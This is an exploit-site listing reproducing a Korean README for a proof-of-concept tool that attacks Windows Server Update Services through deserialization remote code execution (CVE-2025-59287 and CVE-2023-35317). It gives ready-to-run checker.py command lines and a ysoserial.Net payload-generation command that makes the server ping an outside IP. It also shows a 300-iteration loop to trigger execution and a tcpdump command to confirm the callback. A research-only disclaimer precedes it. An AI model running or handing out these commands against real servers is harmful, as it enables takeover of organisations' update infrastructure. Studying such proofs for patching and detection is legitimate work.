Sploitus

Exploit for CVE-2025-59287-PoC

CVE-2023-35317CVE-2025-59287

kitploit Β· 2026-08-24

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-M507-CVE-2025-59287-POC
# CVE-2025-59287 / CVE-2023-35317 PoC

CVE-2025-59287 λ‚΄λΆ€: WSUS의 SoapFormatter RCE: https://shellcode.blog/wsus-cve-2025-59287-investigation/

이 μ†Œν”„νŠΈμ›¨μ–΄λŠ” μˆœμˆ˜ν•˜κ²Œ ν•™μˆ  연ꡬ와 효과적인 λ°©μ–΄ 기법 κ°œλ°œμ„ λͺ©μ μœΌλ‘œ μ œμž‘λ˜μ—ˆμœΌλ©°, λͺ…μ‹œμ μœΌλ‘œ 승인된 경우λ₯Ό μ œμ™Έν•˜κ³  μ‹œμŠ€ν…œμ„ κ³΅κ²©ν•˜λŠ” 데 μ‚¬μš©ν•  μ˜λ„κ°€ μ—†μŠ΅λ‹ˆλ‹€. ν”„λ‘œμ νŠΈ μœ μ§€κ΄€λ¦¬μžλŠ” 이 μ†Œν”„νŠΈμ›¨μ–΄μ˜ μ˜€μš©μ— λŒ€ν•΄ μ±…μž„μ„ 지지 μ•ŠμŠ΅λ‹ˆλ‹€. μ±…μž„κ° 있게 μ‚¬μš©ν•˜μ„Έμš”.

## μ‚¬μš©λ²•

ν•„μˆ˜ ν”Œλž˜κ·Έ:

  * `--target-url` – λŒ€μƒ WSUS μ„œλ²„ κΈ°λ³Έ URL (예: `http://WIN-246JC0TE3BB.vuln.local:8530`)
  * `--cve` – `CVE-2023-35317` λ˜λŠ” `CVE-2025-59287` 쀑 ν•˜λ‚˜



선택 ν”Œλž˜κ·Έ:

  * `--dns-name` – SOAP μš”μ²­μ— μ‚¬μš©λ˜λŠ” ν΄λΌμ΄μ–ΈνŠΈ DNS 이름 (κΈ°λ³Έκ°’: `bugcrowd.local`)
  * `--random` – `--dns-name` μ•žμ— μž„μ˜μ˜ ν•˜μœ„ 도메인을 λΆ™μ—¬ 각 싀행이 μƒˆ ν΄λΌμ΄μ–ΈνŠΈλ‘œ 보이게 ν•©λ‹ˆλ‹€
  * `--payload` – μ‚¬μš©μž μ •μ˜ base64 인코딩 ysoserial νŽ˜μ΄λ‘œλ“œ. μƒλž΅ν•˜λ©΄ μ„ νƒν•œ `--cve`에 λŒ€ν•΄ λ‚΄μž₯ νŽ˜μ΄λ‘œλ“œκ°€ μ‚¬μš©λ©λ‹ˆλ‹€
  * `--debug` – 상세 디버그 λ‘œκΉ… ν™œμ„±ν™” (`[DEBUG]` 쀄)



## CVE-2025-59287

  1. `python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2025-59287 --random`



> ![alt text](https://assets.kitploit.com/production/public/readmes/37686/0d6234b1cca0c672cbae1f88bd7fa2897fc9c1985f35229dd6c3f75638babaa1.png)

## μˆ˜λ™ 트리거 – CVE-2023-35317

  1. (선택 사항) λ‚΄μž₯ νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν•˜μ§€ μ•ŠμœΌλ €λ©΄ Ysoserial.Net을 μ‚¬μš©ν•˜μ—¬ νŽ˜μ΄λ‘œλ“œλ₯Ό μƒμ„±ν•©λ‹ˆλ‹€ (λ˜λŠ” λ‚΄μž₯ νŽ˜μ΄λ‘œλ“œμ— μ˜μ‘΄ν•©λ‹ˆλ‹€).
  2. μ‹€ν–‰: `python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --dns-name bugcrowd.local --cve CVE-2023-35317 --random`
  3. WSUS μ½˜μ†”μ„ μ—½λ‹ˆλ‹€



> ![alt text](https://assets.kitploit.com/production/public/readmes/37686/0d4fa5d9e8b23dbe22267f1fc6e71b91585b2cb6a72244eeb4e43b5c0ba9f9dd.png)

## μžλ™ 트리거 – CVE-2023-35317

  1. `./ysoserial.exe -g RolePrincipal -f BinaryFormatter -c 'ping 18.118.100.100' -o base64` (λ˜λŠ” `--cve CVE-2023-35317`에 λŒ€ν•΄ λ‚΄μž₯ νŽ˜μ΄λ‘œλ“œμ— μ˜μ‘΄ν•©λ‹ˆλ‹€)
  2. `for i in `seq 1 300`; do sleep 1; python3 checker.py --target-url http://WIN-246JC0TE3BB.vuln.local:8530 --payload BASE64_YSOSERIAL_BLOB --dns-name bugcrowd.local --cve CVE-2023-35317 --random ;done`
  3. 1~3λΆ„ 기닀리면 μ„œλΉ„μŠ€ ν”„λ‘œμ„ΈμŠ€μ—μ„œ μ‹€ν–‰λ©λ‹ˆλ‹€.
  4. ICMP 연결을 λͺ¨λ‹ˆν„°λ§ν•©λ‹ˆλ‹€: `sudo tcpdump -l -n -i any icmp | while read line; do echo "$line"; echo -ne '\a'; done`



> ![alt text](https://assets.kitploit.com/production/public/readmes/37686/1ed15908bfdf0dbcd2174e5e2e656afefd1876ece7e7f30deeaa68a725c3f142.png)